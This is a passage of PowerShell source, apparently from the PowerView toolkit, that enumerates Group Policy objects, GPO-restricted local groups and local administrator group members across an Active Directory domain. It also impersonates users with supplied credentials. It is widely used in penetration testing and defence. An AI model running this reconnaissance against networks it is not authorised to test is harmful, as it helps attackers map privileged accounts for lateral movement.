  6535.  
  6536.         [ValidateNotNullOrEmpty()]
  6537.         [String[]]
  6538.         $Properties,
  6539.  
  6540.         [ValidateNotNullOrEmpty()]
  6541.         [Alias('ADSPath')]
  6542.         [String]
  6543.         $SearchBase,
  6544.  
  6545.         [ValidateNotNullOrEmpty()]
  6546.         [Alias('DomainController')]
  6547.         [String]
  6548.         $Server,
  6549.  
  6550.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  6551.         [String]
  6552.         $SearchScope = 'Subtree',
  6553.  
  6554.         [ValidateRange(1, 10000)]
  6555.         [Int]
  6556.         $ResultPageSize = 200,
  6557.  
  6558.         [ValidateRange(1, 10000)]
  6559.         [Int]
  6560.         $ServerTimeLimit,
  6561.  
  6562.         [ValidateSet('Dacl', 'Group', 'None', 'Owner', 'Sacl')]
  6563.         [String]
  6564.         $SecurityMasks,
  6565.  
  6566.         [Switch]
  6567.         $Tombstone,
  6568.  
  6569.         [Alias('ReturnOne')]
  6570.         [Switch]
  6571.         $FindOne,
  6572.  
  6573.         [Management.Automation.PSCredential]
  6574.         [Management.Automation.CredentialAttribute()]
  6575.         $Credential = [Management.Automation.PSCredential]::Empty,
  6576.  
  6577.         [Switch]
  6578.         $Raw
  6579.     )
  6580.  
  6581.     BEGIN {
  6582.         $SearcherArguments = @{}
  6583.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  6584.         if ($PSBoundParameters['Properties']) { $SearcherArguments['Properties'] = $Properties }
  6585.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  6586.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  6587.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  6588.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  6589.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  6590.         if ($PSBoundParameters['SecurityMasks']) { $SearcherArguments['SecurityMasks'] = $SecurityMasks }
  6591.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  6592.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  6593.         $GPOSearcher = Get-DomainSearcher @SearcherArguments
  6594.     }
  6595.  
  6596.     PROCESS {
  6597.         if ($GPOSearcher) {
  6598.             if ($PSBoundParameters['ComputerIdentity'] -or $PSBoundParameters['UserIdentity']) {
  6599.                 $GPOAdsPaths = @()
  6600.                 if ($SearcherArguments['Properties']) {
  6601.                     $OldProperties = $SearcherArguments['Properties']
  6602.                 }
  6603.                 $SearcherArguments['Properties'] = 'distinguishedname,dnshostname'
  6604.                 $TargetComputerName = $Null
  6605.  
  6606.                 if ($PSBoundParameters['ComputerIdentity']) {
  6607.                     $SearcherArguments['Identity'] = $ComputerIdentity
  6608.                     $Computer = Get-DomainComputer @SearcherArguments -FindOne | Select-Object -First 1
  6609.                     if(-not $Computer) {
  6610.                         Write-Verbose "[Get-DomainGPO] Computer '$ComputerIdentity' not found!"
  6611.                     }
  6612.                     $ObjectDN = $Computer.distinguishedname
  6613.                     $TargetComputerName = $Computer.dnshostname
  6614.                 }
  6615.                 else {
  6616.                     $SearcherArguments['Identity'] = $UserIdentity
  6617.                     $User = Get-DomainUser @SearcherArguments -FindOne | Select-Object -First 1
  6618.                     if(-not $User) {
  6619.                         Write-Verbose "[Get-DomainGPO] User '$UserIdentity' not found!"
  6620.                     }
  6621.                     $ObjectDN = $User.distinguishedname
  6622.                 }
  6623.  
  6624.                 # extract all OUs the target user/computer is a part of
  6625.                 $ObjectOUs = @()
  6626.                 $ObjectOUs += $ObjectDN.split(',') | ForEach-Object {
  6627.                     if($_.startswith('OU=')) {
  6628.                         $ObjectDN.SubString($ObjectDN.IndexOf("$($_),"))
  6629.                     }
  6630.                 }
  6631.                 Write-Verbose "[Get-DomainGPO] object OUs: $ObjectOUs"
  6632.  
  6633.                 if ($ObjectOUs) {
  6634.                     # find all the GPOs linked to the user/computer's OUs
  6635.                     $SearcherArguments.Remove('Properties')
  6636.                     $InheritanceDisabled = $False
  6637.                     ForEach($ObjectOU in $ObjectOUs) {
  6638.                         $SearcherArguments['Identity'] = $ObjectOU
  6639.                         $GPOAdsPaths += Get-DomainOU @SearcherArguments | ForEach-Object {
  6640.                             # extract any GPO links for this particular OU the computer is a part of
  6641.                             if ($_.gplink) {
  6642.                                 $_.gplink.split('][') | ForEach-Object {
  6643.                                     if ($_.startswith('LDAP')) {
  6644.                                         $Parts = $_.split(';')
  6645.                                         $GpoDN = $Parts[0]
  6646.                                         $Enforced = $Parts[1]
  6647.  
  6648.                                         if ($InheritanceDisabled) {
  6649.                                             # if inheritance has already been disabled and this GPO is set as "enforced"
  6650.                                             #   then add it, otherwise ignore it
  6651.                                             if ($Enforced -eq 2) {
  6652.                                                 $GpoDN
  6653.                                             }
  6654.                                         }
  6655.                                         else {
  6656.                                             # inheritance not marked as disabled yet
  6657.                                             $GpoDN
  6658.                                         }
  6659.                                     }
  6660.                                 }
  6661.                             }
  6662.  
  6663.                             # if this OU has GPO inheritence disabled, break so additional OUs aren't processed
  6664.                             if ($_.gpoptions -eq 1) {
  6665.                                 $InheritanceDisabled = $True
  6666.                             }
  6667.                         }
  6668.                     }
  6669.                 }
  6670.  
  6671.                 if ($TargetComputerName) {
  6672.                     # find all the GPOs linked to the computer's site
  6673.                     $ComputerSite = (Get-NetComputerSiteName -ComputerName $TargetComputerName).SiteName
  6674.                     if($ComputerSite -and ($ComputerSite -notlike 'Error*')) {
  6675.                         $SearcherArguments['Identity'] = $ComputerSite
  6676.                         $GPOAdsPaths += Get-DomainSite @SearcherArguments | ForEach-Object {
  6677.                             if($_.gplink) {
  6678.                                 # extract any GPO links for this particular site the computer is a part of
  6679.                                 $_.gplink.split('][') | ForEach-Object {
  6680.                                     if ($_.startswith('LDAP')) {
  6681.                                         $_.split(';')[0]
  6682.                                     }
  6683.                                 }
  6684.                             }
  6685.                         }
  6686.                     }
  6687.                 }
  6688.  
  6689.                 # find any GPOs linked to the user/computer's domain
  6690.                 $ObjectDomainDN = $ObjectDN.SubString($ObjectDN.IndexOf('DC='))
  6691.                 $SearcherArguments.Remove('Identity')
  6692.                 $SearcherArguments.Remove('Properties')
  6693.                 $SearcherArguments['LDAPFilter'] = "(objectclass=domain)(distinguishedname=$ObjectDomainDN)"
  6694.                 $GPOAdsPaths += Get-DomainObject @SearcherArguments | ForEach-Object {
  6695.                     if($_.gplink) {
  6696.                         # extract any GPO links for this particular domain the computer is a part of
  6697.                         $_.gplink.split('][') | ForEach-Object {
  6698.                             if ($_.startswith('LDAP')) {
  6699.                                 $_.split(';')[0]
  6700.                             }
  6701.                         }
  6702.                     }
  6703.                 }
  6704.                 Write-Verbose "[Get-DomainGPO] GPOAdsPaths: $GPOAdsPaths"
  6705.  
  6706.                 # restore the old properites to return, if set
  6707.                 if ($OldProperties) { $SearcherArguments['Properties'] = $OldProperties }
  6708.                 else { $SearcherArguments.Remove('Properties') }
  6709.                 $SearcherArguments.Remove('Identity')
  6710.  
  6711.                 $GPOAdsPaths | Where-Object {$_ -and ($_ -ne '')} | ForEach-Object {
  6712.                     # use the gplink as an ADS path to enumerate all GPOs for the computer
  6713.                     $SearcherArguments['SearchBase'] = $_
  6714.                     $SearcherArguments['LDAPFilter'] = "(objectCategory=groupPolicyContainer)"
  6715.                     Get-DomainObject @SearcherArguments | ForEach-Object {
  6716.                         if ($PSBoundParameters['Raw']) {
  6717.                             $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
  6718.                         }
  6719.                         else {
  6720.                             $_.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
  6721.                         }
  6722.                         $_
  6723.                     }
  6724.                 }
  6725.             }
  6726.             else {
  6727.                 $IdentityFilter = ''
  6728.                 $Filter = ''
  6729.                 $Identity | Where-Object {$_} | ForEach-Object {
  6730.                     $IdentityInstance = $_.Replace('(', '\28').Replace(')', '\29')
  6731.                     if ($IdentityInstance -match 'LDAP://|^CN=.*') {
  6732.                         $IdentityFilter += "(distinguishedname=$IdentityInstance)"
  6733.                         if ((-not $PSBoundParameters['Domain']) -and (-not $PSBoundParameters['SearchBase'])) {
  6734.                             # if a -Domain isn't explicitly set, extract the object domain out of the distinguishedname
  6735.                             #   and rebuild the domain searcher
  6736.                             $IdentityDomain = $IdentityInstance.SubString($IdentityInstance.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  6737.                             Write-Verbose "[Get-DomainGPO] Extracted domain '$IdentityDomain' from '$IdentityInstance'"
  6738.                             $SearcherArguments['Domain'] = $IdentityDomain
  6739.                             $GPOSearcher = Get-DomainSearcher @SearcherArguments
  6740.                             if (-not $GPOSearcher) {
  6741.                                 Write-Warning "[Get-DomainGPO] Unable to retrieve domain searcher for '$IdentityDomain'"
  6742.                             }
  6743.                         }
  6744.                     }
  6745.                     elseif ($IdentityInstance -match '{.*}') {
  6746.                         $IdentityFilter += "(name=$IdentityInstance)"
  6747.                     }
  6748.                     else {
  6749.                         try {
  6750.                             $GuidByteString = (-Join (([Guid]$IdentityInstance).ToByteArray() | ForEach-Object {$_.ToString('X').PadLeft(2,'0')})) -Replace '(..)','\$1'
  6751.                             $IdentityFilter += "(objectguid=$GuidByteString)"
  6752.                         }
  6753.                         catch {
  6754.                             $IdentityFilter += "(displayname=$IdentityInstance)"
  6755.                         }
  6756.                     }
  6757.                 }
  6758.                 if ($IdentityFilter -and ($IdentityFilter.Trim() -ne '') ) {
  6759.                     $Filter += "(|$IdentityFilter)"
  6760.                 }
  6761.  
  6762.                 if ($PSBoundParameters['LDAPFilter']) {
  6763.                     Write-Verbose "[Get-DomainGPO] Using additional LDAP filter: $LDAPFilter"
  6764.                     $Filter += "$LDAPFilter"
  6765.                 }
  6766.  
  6767.                 $GPOSearcher.filter = "(&(objectCategory=groupPolicyContainer)$Filter)"
  6768.                 Write-Verbose "[Get-DomainGPO] filter string: $($GPOSearcher.filter)"
  6769.  
  6770.                 if ($PSBoundParameters['FindOne']) { $Results = $GPOSearcher.FindOne() }
  6771.                 else { $Results = $GPOSearcher.FindAll() }
  6772.                 $Results | Where-Object {$_} | ForEach-Object {
  6773.                     if ($PSBoundParameters['Raw']) {
  6774.                         # return raw result objects
  6775.                         $GPO = $_
  6776.                         $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO.Raw')
  6777.                     }
  6778.                     else {
  6779.                         if ($PSBoundParameters['SearchBase'] -and ($SearchBase -Match '^GC://')) {
  6780.                             $GPO = Convert-LDAPProperty -Properties $_.Properties
  6781.                             try {
  6782.                                 $GPODN = $GPO.distinguishedname
  6783.                                 $GPODomain = $GPODN.SubString($GPODN.IndexOf('DC=')) -replace 'DC=','' -replace ',','.'
  6784.                                 $gpcfilesyspath = "\\$GPODomain\SysVol\$GPODomain\Policies\$($GPO.cn)"
  6785.                                 $GPO | Add-Member Noteproperty 'gpcfilesyspath' $gpcfilesyspath
  6786.                             }
  6787.                             catch {
  6788.                                 Write-Verbose "[Get-DomainGPO] Error calculating gpcfilesyspath for: $($GPO.distinguishedname)"
  6789.                             }
  6790.                         }
  6791.                         else {
  6792.                             $GPO = Convert-LDAPProperty -Properties $_.Properties
  6793.                         }
  6794.                         $GPO.PSObject.TypeNames.Insert(0, 'PowerView.GPO')
  6795.                     }
  6796.                     $GPO
  6797.                 }
  6798.                 if ($Results) {
  6799.                     try { $Results.dispose() }
  6800.                     catch {
  6801.                         Write-Verbose "[Get-DomainGPO] Error disposing of the Results object: $_"
  6802.                     }
  6803.                 }
  6804.                 $GPOSearcher.dispose()
  6805.             }
  6806.         }
  6807.     }
  6808. }
  6809.  
  6810. function Get-DomainGPOLocalGroup {
  6811.  
  6812.  
  6813.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  6814.     [OutputType('PowerView.GPOGroup')]
  6815.     [CmdletBinding()]
  6816.     Param(
  6817.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  6818.         [Alias('DistinguishedName', 'SamAccountName', 'Name')]
  6819.         [String[]]
  6820.         $Identity,
  6821.  
  6822.         [Switch]
  6823.         $ResolveMembersToSIDs,
  6824.  
  6825.         [ValidateNotNullOrEmpty()]
  6826.         [String]
  6827.         $Domain,
  6828.  
  6829.         [ValidateNotNullOrEmpty()]
  6830.         [Alias('Filter')]
  6831.         [String]
  6832.         $LDAPFilter,
  6833.  
  6834.         [ValidateNotNullOrEmpty()]
  6835.         [Alias('ADSPath')]
  6836.         [String]
  6837.         $SearchBase,
  6838.  
  6839.         [ValidateNotNullOrEmpty()]
  6840.         [Alias('DomainController')]
  6841.         [String]
  6842.         $Server,
  6843.  
  6844.         [ValidateSet('Base', 'OneLevel', 'Subtree')]
  6845.         [String]
  6846.         $SearchScope = 'Subtree',
  6847.  
  6848.         [ValidateRange(1, 10000)]
  6849.         [Int]
  6850.         $ResultPageSize = 200,
  6851.  
  6852.         [ValidateRange(1, 10000)]
  6853.         [Int]
  6854.         $ServerTimeLimit,
  6855.  
  6856.         [Switch]
  6857.         $Tombstone,
  6858.  
  6859.         [Management.Automation.PSCredential]
  6860.         [Management.Automation.CredentialAttribute()]
  6861.         $Credential = [Management.Automation.PSCredential]::Empty
  6862.     )
  6863.  
  6864.     BEGIN {
  6865.         $SearcherArguments = @{}
  6866.         if ($PSBoundParameters['Domain']) { $SearcherArguments['Domain'] = $Domain }
  6867.         if ($PSBoundParameters['LDAPFilter']) { $SearcherArguments['LDAPFilter'] = $Domain }
  6868.         if ($PSBoundParameters['SearchBase']) { $SearcherArguments['SearchBase'] = $SearchBase }
  6869.         if ($PSBoundParameters['Server']) { $SearcherArguments['Server'] = $Server }
  6870.         if ($PSBoundParameters['SearchScope']) { $SearcherArguments['SearchScope'] = $SearchScope }
  6871.         if ($PSBoundParameters['ResultPageSize']) { $SearcherArguments['ResultPageSize'] = $ResultPageSize }
  6872.         if ($PSBoundParameters['ServerTimeLimit']) { $SearcherArguments['ServerTimeLimit'] = $ServerTimeLimit }
  6873.         if ($PSBoundParameters['Tombstone']) { $SearcherArguments['Tombstone'] = $Tombstone }
  6874.         if ($PSBoundParameters['Credential']) { $SearcherArguments['Credential'] = $Credential }
  6875.  
  6876.         $ConvertArguments = @{}
  6877.         if ($PSBoundParameters['Domain']) { $ConvertArguments['Domain'] = $Domain }
  6878.         if ($PSBoundParameters['Server']) { $ConvertArguments['Server'] = $Server }
  6879.         if ($PSBoundParameters['Credential']) { $ConvertArguments['Credential'] = $Credential }
  6880.  
  6881.         $SplitOption = [System.StringSplitOptions]::RemoveEmptyEntries
  6882.     }
  6883.  
  6884.     PROCESS {
  6885.         if ($PSBoundParameters['Identity']) { $SearcherArguments['Identity'] = $Identity }
  6886.  
  6887.         Get-DomainGPO @SearcherArguments | ForEach-Object {
  6888.             $GPOdisplayName = $_.displayname
  6889.             $GPOname = $_.name
  6890.             $GPOPath = $_.gpcfilesyspath
  6891.  
  6892.             $ParseArgs =  @{ 'GptTmplPath' = "$GPOPath\MACHINE\Microsoft\Windows NT\SecEdit\GptTmpl.inf" }
  6893.             if ($PSBoundParameters['Credential']) { $ParseArgs['Credential'] = $Credential }
  6894.  
  6895.             # first parse the 'Restricted Groups' file (GptTmpl.inf) if it exists
  6896.             $Inf = Get-GptTmpl @ParseArgs
  6897.  
  6898.             if ($Inf -and ($Inf.psbase.Keys -contains 'Group Membership')) {
  6899.                 $Memberships = @{}
  6900.  
  6901.                 # parse the members/memberof fields for each entry
  6902.                 ForEach ($Membership in $Inf.'Group Membership'.GetEnumerator()) {
  6903.                     $Group, $Relation = $Membership.Key.Split('__', $SplitOption) | ForEach-Object {$_.Trim()}
  6904.                     # extract out ALL members
  6905.                     $MembershipValue = $Membership.Value | Where-Object {$_} | ForEach-Object { $_.Trim('*') } | Where-Object {$_}
  6906.  
  6907.                     if ($PSBoundParameters['ResolveMembersToSIDs']) {
  6908.                         # if the resulting member is username and not a SID, attempt to resolve it
  6909.                         $GroupMembers = @()
  6910.                         ForEach ($Member in $MembershipValue) {
  6911.                             if ($Member -and ($Member.Trim() -ne '')) {
  6912.                                 if ($Member -notmatch '^S-1-.*') {
  6913.                                     $ConvertToArguments = @{'ObjectName' = $Member}
  6914.                                     if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
  6915.                                     $MemberSID = ConvertTo-SID @ConvertToArguments
  6916.  
  6917.                                     if ($MemberSID) {
  6918.                                         $GroupMembers += $MemberSID
  6919.                                     }
  6920.                                     else {
  6921.                                         $GroupMembers += $Member
  6922.                                     }
  6923.                                 }
  6924.                                 else {
  6925.                                     $GroupMembers += $Member
  6926.                                 }
  6927.                             }
  6928.                         }
  6929.                         $MembershipValue = $GroupMembers
  6930.                     }
  6931.  
  6932.                     if (-not $Memberships[$Group]) {
  6933.                         $Memberships[$Group] = @{}
  6934.                     }
  6935.                     if ($MembershipValue -isnot [System.Array]) {$MembershipValue = @($MembershipValue)}
  6936.                     $Memberships[$Group].Add($Relation, $MembershipValue)
  6937.                 }
  6938.  
  6939.                 ForEach ($Membership in $Memberships.GetEnumerator()) {
  6940.                     if ($Membership -and $Membership.Key -and ($Membership.Key -match '^\*')) {
  6941.                         # if the SID is already resolved (i.e. begins with *) try to resolve SID to a name
  6942.                         $GroupSID = $Membership.Key.Trim('*')
  6943.                         if ($GroupSID -and ($GroupSID.Trim() -ne '')) {
  6944.                             $GroupName = ConvertFrom-SID -ObjectSID $GroupSID @ConvertArguments
  6945.                         }
  6946.                         else {
  6947.                             $GroupName = $False
  6948.                         }
  6949.                     }
  6950.                     else {
  6951.                         $GroupName = $Membership.Key
  6952.  
  6953.                         if ($GroupName -and ($GroupName.Trim() -ne '')) {
  6954.                             if ($Groupname -match 'Administrators') {
  6955.                                 $GroupSID = 'S-1-5-32-544'
  6956.                             }
  6957.                             elseif ($Groupname -match 'Remote Desktop') {
  6958.                                 $GroupSID = 'S-1-5-32-555'
  6959.                             }
  6960.                             elseif ($Groupname -match 'Guests') {
  6961.                                 $GroupSID = 'S-1-5-32-546'
  6962.                             }
  6963.                             elseif ($GroupName.Trim() -ne '') {
  6964.                                 $ConvertToArguments = @{'ObjectName' = $Groupname}
  6965.                                 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
  6966.                                 $GroupSID = ConvertTo-SID @ConvertToArguments
  6967.                             }
  6968.                             else {
  6969.                                 $GroupSID = $Null
  6970.                             }
  6971.                         }
  6972.                     }
  6973.  
  6974.                     $GPOGroup = New-Object PSObject
  6975.                     $GPOGroup | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
  6976.                     $GPOGroup | Add-Member Noteproperty 'GPOName' $GPOName
  6977.                     $GPOGroup | Add-Member Noteproperty 'GPOPath' $GPOPath
  6978.                     $GPOGroup | Add-Member Noteproperty 'GPOType' 'RestrictedGroups'
  6979.                     $GPOGroup | Add-Member Noteproperty 'Filters' $Null
  6980.                     $GPOGroup | Add-Member Noteproperty 'GroupName' $GroupName
  6981.                     $GPOGroup | Add-Member Noteproperty 'GroupSID' $GroupSID
  6982.                     $GPOGroup | Add-Member Noteproperty 'GroupMemberOf' $Membership.Value.Memberof
  6983.                     $GPOGroup | Add-Member Noteproperty 'GroupMembers' $Membership.Value.Members
  6984.                     $GPOGroup.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
  6985.                     $GPOGroup
  6986.                 }
  6987.             }
  6988.  
  6989.             # now try to the parse group policy preferences file (Groups.xml) if it exists
  6990.             $ParseArgs =  @{
  6991.                 'GroupsXMLpath' = "$GPOPath\MACHINE\Preferences\Groups\Groups.xml"
  6992.             }
  6993.  
  6994.             Get-GroupsXML @ParseArgs | ForEach-Object {
  6995.                 if ($PSBoundParameters['ResolveMembersToSIDs']) {
  6996.                     $GroupMembers = @()
  6997.                     ForEach ($Member in $_.GroupMembers) {
  6998.                         if ($Member -and ($Member.Trim() -ne '')) {
  6999.                             if ($Member -notmatch '^S-1-.*') {
  7000.  
  7001.                                 # if the resulting member is username and not a SID, attempt to resolve it
  7002.                                 $ConvertToArguments = @{'ObjectName' = $Groupname}
  7003.                                 if ($PSBoundParameters['Domain']) { $ConvertToArguments['Domain'] = $Domain }
  7004.                                 $MemberSID = ConvertTo-SID -Domain $Domain -ObjectName $Member
  7005.  
  7006.                                 if ($MemberSID) {
  7007.                                     $GroupMembers += $MemberSID
  7008.                                 }
  7009.                                 else {
  7010.                                     $GroupMembers += $Member
  7011.                                 }
  7012.                             }
  7013.                             else {
  7014.                                 $GroupMembers += $Member
  7015.                             }
  7016.                         }
  7017.                     }
  7018.                     $_.GroupMembers = $GroupMembers
  7019.                 }
  7020.  
  7021.                 $_ | Add-Member Noteproperty 'GPODisplayName' $GPODisplayName
  7022.                 $_ | Add-Member Noteproperty 'GPOName' $GPOName
  7023.                 $_ | Add-Member Noteproperty 'GPOType' 'GroupPolicyPreferences'
  7024.                 $_.PSObject.TypeNames.Insert(0, 'PowerView.GPOGroup')
  7025.                 $_
  7026.             }
  7027.         }
  7028.     }
  7029. }
  7030.  
  7031. function Get-NetLocalGroup {
  7032.  
  7033.  
  7034.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  7035.     [OutputType('PowerView.LocalGroup.API')]
  7036.     [OutputType('PowerView.LocalGroup.WinNT')]
  7037.     [CmdletBinding()]
  7038.     Param(
  7039.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  7040.         [Alias('HostName', 'dnshostname', 'name')]
  7041.         [ValidateNotNullOrEmpty()]
  7042.         [String[]]
  7043.         $ComputerName = $Env:COMPUTERNAME,
  7044.  
  7045.         [ValidateSet('API', 'WinNT')]
  7046.         [Alias('CollectionMethod')]
  7047.         [String]
  7048.         $Method = 'API',
  7049.  
  7050.         [Management.Automation.PSCredential]
  7051.         [Management.Automation.CredentialAttribute()]
  7052.         $Credential = [Management.Automation.PSCredential]::Empty
  7053.     )
  7054.  
  7055.     BEGIN {
  7056.         if ($PSBoundParameters['Credential']) {
  7057.             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  7058.         }
  7059.     }
  7060.  
  7061.     PROCESS {
  7062.         ForEach ($Computer in $ComputerName) {
  7063.             if ($Method -eq 'API') {
  7064.                 # if we're using the Netapi32 NetLocalGroupEnum API call to get the local group information
  7065.  
  7066.                 # arguments for NetLocalGroupEnum
  7067.                 $QueryLevel = 1
  7068.                 $PtrInfo = [IntPtr]::Zero
  7069.                 $EntriesRead = 0
  7070.                 $TotalRead = 0
  7071.                 $ResumeHandle = 0
  7072.  
  7073.                 # get the local user information
  7074.                 $Result = $Netapi32::NetLocalGroupEnum($Computer, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
  7075.  
  7076.                 # locate the offset of the initial intPtr
  7077.                 $Offset = $PtrInfo.ToInt64()
  7078.  
  7079.                 # 0 = success
  7080.                 if (($Result -eq 0) -and ($Offset -gt 0)) {
  7081.  
  7082.                     # Work out how much to increment the pointer by finding out the size of the structure
  7083.                     $Increment = $LOCALGROUP_INFO_1::GetSize()
  7084.  
  7085.                     # parse all the result structures
  7086.                     for ($i = 0; ($i -lt $EntriesRead); $i++) {
  7087.                         # create a new int ptr at the given offset and cast the pointer as our result structure
  7088.                         $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  7089.                         $Info = $NewIntPtr -as $LOCALGROUP_INFO_1
  7090.  
  7091.                         $Offset = $NewIntPtr.ToInt64()
  7092.                         $Offset += $Increment
  7093.  
  7094.                         $LocalGroup = New-Object PSObject
  7095.                         $LocalGroup | Add-Member Noteproperty 'ComputerName' $Computer
  7096.                         $LocalGroup | Add-Member Noteproperty 'GroupName' $Info.lgrpi1_name
  7097.                         $LocalGroup | Add-Member Noteproperty 'Comment' $Info.lgrpi1_comment
  7098.                         $LocalGroup.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.API')
  7099.                         $LocalGroup
  7100.                     }
  7101.                     # free up the result buffer
  7102.                     $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  7103.                 }
  7104.                 else {
  7105.                     Write-Verbose "[Get-NetLocalGroup] Error: $(([ComponentModel.Win32Exception] $Result).Message)"
  7106.                 }
  7107.             }
  7108.             else {
  7109.                 # otherwise we're using the WinNT service provider
  7110.                 $ComputerProvider = [ADSI]"WinNT://$Computer,computer"
  7111.  
  7112.                 $ComputerProvider.psbase.children | Where-Object { $_.psbase.schemaClassName -eq 'group' } | ForEach-Object {
  7113.                     $LocalGroup = ([ADSI]$_)
  7114.                     $Group = New-Object PSObject
  7115.                     $Group | Add-Member Noteproperty 'ComputerName' $Computer
  7116.                     $Group | Add-Member Noteproperty 'GroupName' ($LocalGroup.InvokeGet('Name'))
  7117.                     $Group | Add-Member Noteproperty 'SID' ((New-Object System.Security.Principal.SecurityIdentifier($LocalGroup.InvokeGet('objectsid'),0)).Value)
  7118.                     $Group | Add-Member Noteproperty 'Comment' ($LocalGroup.InvokeGet('Description'))
  7119.                     $Group.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroup.WinNT')
  7120.                     $Group
  7121.                 }
  7122.             }
  7123.         }
  7124.     }
  7125.    
  7126.     END {
  7127.         if ($LogonToken) {
  7128.             Invoke-RevertToSelf -TokenHandle $LogonToken
  7129.         }
  7130.     }
  7131. }
  7132.  
  7133. function Get-NetLocalGroupMember {
  7134.  
  7135.     [Diagnostics.CodeAnalysis.SuppressMessageAttribute('PSShouldProcess', '')]
  7136.     [OutputType('PowerView.LocalGroupMember.API')]
  7137.     [OutputType('PowerView.LocalGroupMember.WinNT')]
  7138.     Param(
  7139.         [Parameter(Position = 0, ValueFromPipeline = $True, ValueFromPipelineByPropertyName = $True)]
  7140.         [Alias('HostName', 'dnshostname', 'name')]
  7141.         [ValidateNotNullOrEmpty()]
  7142.         [String[]]
  7143.         $ComputerName = $Env:COMPUTERNAME,
  7144.  
  7145.         [Parameter(ValueFromPipelineByPropertyName = $True)]
  7146.         [ValidateNotNullOrEmpty()]
  7147.         [String]
  7148.         $GroupName = 'Administrators',
  7149.  
  7150.         [ValidateSet('API', 'WinNT')]
  7151.         [Alias('CollectionMethod')]
  7152.         [String]
  7153.         $Method = 'API',
  7154.  
  7155.         [Management.Automation.PSCredential]
  7156.         [Management.Automation.CredentialAttribute()]
  7157.         $Credential = [Management.Automation.PSCredential]::Empty
  7158.     )
  7159.  
  7160.     BEGIN {
  7161.         if ($PSBoundParameters['Credential']) {
  7162.             $LogonToken = Invoke-UserImpersonation -Credential $Credential
  7163.         }
  7164.     }
  7165.  
  7166.     PROCESS {
  7167.         ForEach ($Computer in $ComputerName) {
  7168.             if ($Method -eq 'API') {
  7169.                 # if we're using the Netapi32 NetLocalGroupGetMembers API call to get the local group information
  7170.  
  7171.                 # arguments for NetLocalGroupGetMembers
  7172.                 $QueryLevel = 2
  7173.                 $PtrInfo = [IntPtr]::Zero
  7174.                 $EntriesRead = 0
  7175.                 $TotalRead = 0
  7176.                 $ResumeHandle = 0
  7177.  
  7178.                 # get the local user information
  7179.                 $Result = $Netapi32::NetLocalGroupGetMembers($Computer, $GroupName, $QueryLevel, [ref]$PtrInfo, -1, [ref]$EntriesRead, [ref]$TotalRead, [ref]$ResumeHandle)
  7180.  
  7181.                 # locate the offset of the initial intPtr
  7182.                 $Offset = $PtrInfo.ToInt64()
  7183.  
  7184.                 $Members = @()
  7185.  
  7186.                 # 0 = success
  7187.                 if (($Result -eq 0) -and ($Offset -gt 0)) {
  7188.  
  7189.                     # Work out how much to increment the pointer by finding out the size of the structure
  7190.                     $Increment = $LOCALGROUP_MEMBERS_INFO_2::GetSize()
  7191.  
  7192.                     # parse all the result structures
  7193.                     for ($i = 0; ($i -lt $EntriesRead); $i++) {
  7194.                         # create a new int ptr at the given offset and cast the pointer as our result structure
  7195.                         $NewIntPtr = New-Object System.Intptr -ArgumentList $Offset
  7196.                         $Info = $NewIntPtr -as $LOCALGROUP_MEMBERS_INFO_2
  7197.  
  7198.                         $Offset = $NewIntPtr.ToInt64()
  7199.                         $Offset += $Increment
  7200.  
  7201.                         $SidString = ''
  7202.                         $Result2 = $Advapi32::ConvertSidToStringSid($Info.lgrmi2_sid, [ref]$SidString);$LastError = [Runtime.InteropServices.Marshal]::GetLastWin32Error()
  7203.  
  7204.                         if ($Result2 -eq 0) {
  7205.                             Write-Verbose "[Get-NetLocalGroupMember] Error: $(([ComponentModel.Win32Exception] $LastError).Message)"
  7206.                         }
  7207.                         else {
  7208.                             $Member = New-Object PSObject
  7209.                             $Member | Add-Member Noteproperty 'ComputerName' $Computer
  7210.                             $Member | Add-Member Noteproperty 'GroupName' $GroupName
  7211.                             $Member | Add-Member Noteproperty 'MemberName' $Info.lgrmi2_domainandname
  7212.                             $Member | Add-Member Noteproperty 'SID' $SidString
  7213.                             $IsGroup = $($Info.lgrmi2_sidusage -eq 'SidTypeGroup')
  7214.                             $Member | Add-Member Noteproperty 'IsGroup' $IsGroup
  7215.                             $Member.PSObject.TypeNames.Insert(0, 'PowerView.LocalGroupMember.API')
  7216.                             $Members += $Member
  7217.                         }
  7218.                     }
  7219.  
  7220.                     # free up the result buffer
  7221.                     $Null = $Netapi32::NetApiBufferFree($PtrInfo)
  7222.  
  7223.                     # try to extract out the machine SID by using the -500 account as a reference
  7224.                     $MachineSid = $Members | Where-Object {$_.SID -match '.*-500' -or ($_.SID -match '.*-501')} | Select-Object -Expand SID
  7225.                     if ($MachineSid) {
